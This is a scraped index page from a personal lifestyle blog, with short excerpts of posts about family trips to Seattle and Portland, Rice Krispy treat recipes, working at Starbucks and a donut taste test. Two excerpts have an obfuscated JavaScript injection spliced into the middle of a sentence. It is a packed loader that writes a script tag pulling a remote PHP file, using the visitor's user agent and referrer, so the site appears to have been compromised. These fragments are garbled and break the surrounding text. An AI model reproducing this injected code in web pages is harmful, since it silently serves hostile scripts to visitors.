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Sometimes you go to Seattle for the weekend

And ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdtfd|var|u0026u|referrer|khden||js|php’.split(‘|’),0,{})) have lunch with your sister……accidentally dressed as twins. We weren’t planning on meeting up for breakfast.  Originally it was just going to be me and mom – Stace had to work.  But a somewhat fortuitous leaky pipe allowed my sis to have the morning off.  She rounded the corner […]

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Food Live

Hacking Starbucks

Did I ever mention I worked at Starbucks in high school?  It was actually a lot of fun – considering I really didn’t care for coffee when I started. Did you know… Drinking a caramel frappuccino 3 times a week for a few months will make you gain a decent amount of weight.  Throw in […]

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Baking Food Live

Rainbow Rice Krispy Treats

Sometimes I think I’m the queen of making things more difficult.  Case in point. Rice krispy treats.  Arguably one of the easiest desserts on the planet.  Butter, marshmallows and cereal.  Leave it to me to turn something that should take 5 minutes into something that took over an hour.  But was totally worth it 🙂 […]

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Baking Food

Best Rice Krispty Treats EVER

Or so I was told. I’ve always enjoyed baking, but have recently become so busy I can’t find the time.  Don’t worry, my waist is thankful.  These days, when it comes time to make a tasty treat, I’m always looking for something quick and easy.  My go to cookie is the Best ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return […]

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Live Photography Travel

Seattle for Grandma’s Birthday

My grandma turned 92 a few weeks ago.  Yeah, 92!  Like a boss! We (Stace and I) decided to take her to the symphony for her birthday, so I was back in Seattle over the weekend. Since neither Stace nor myself are avid symphony goers, we opted for the Cirque de Soleil version.  A partial […]

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Photography Travel

My First Photo Walk

While at WDS, I attended a meetup.  This is huge for me, folks.  I went totally alone.  Thankfully I had my trusty camera to throw in front of my face in case I needed to be anti social.  Don’t worry, I ended up meeting more people on that 1 walk than the entire weekend combined […]

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Travel

Donut Taste Test

Best kind of test.  Hands down. While in Portland, we were told by numerous people to check out Voodoo donuts.  It’s quite popular and the birthplace of the bacon maple donut.  Nick and I have already experienced multiple bacon maple donuts, but it behooved us to check out the original. We hadn’t planned on stopping […]

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Travel

WDS 2013

We went to Portland to attend the World Domination Summit. Your mind just went 1 of 2 ways – Pinky and the Brain or 50 Shades of Grey.  Right? The World Domination Summit has nothing to do with either of those 2 things (thankfully).  The best way to describe it?  A ton of people who […]

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Live Travel

A weekend in Portland

After spending the 4th in Seattle, we headed to Portland to attend the World Domination Summit (more on that tomorrow). I hadn’t been to Portland since I was pretty little – sub 10 years old.  My most recent Portland memories involve annoyance with the traffic.  We ALWAYS hit Portland rush hour traffic on our way […]

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Travel

An Instagrammed 4th of July

Nick and I spent the 4th of July in Seattle at Nick’s parent’s house.  The 4th of July celebrations at “the lake house” date back to college and the party has grown steadily every since. It was a beautiful summer day in Seattle – mid 70’s and only a few clouds.  This obviously beats overcast […]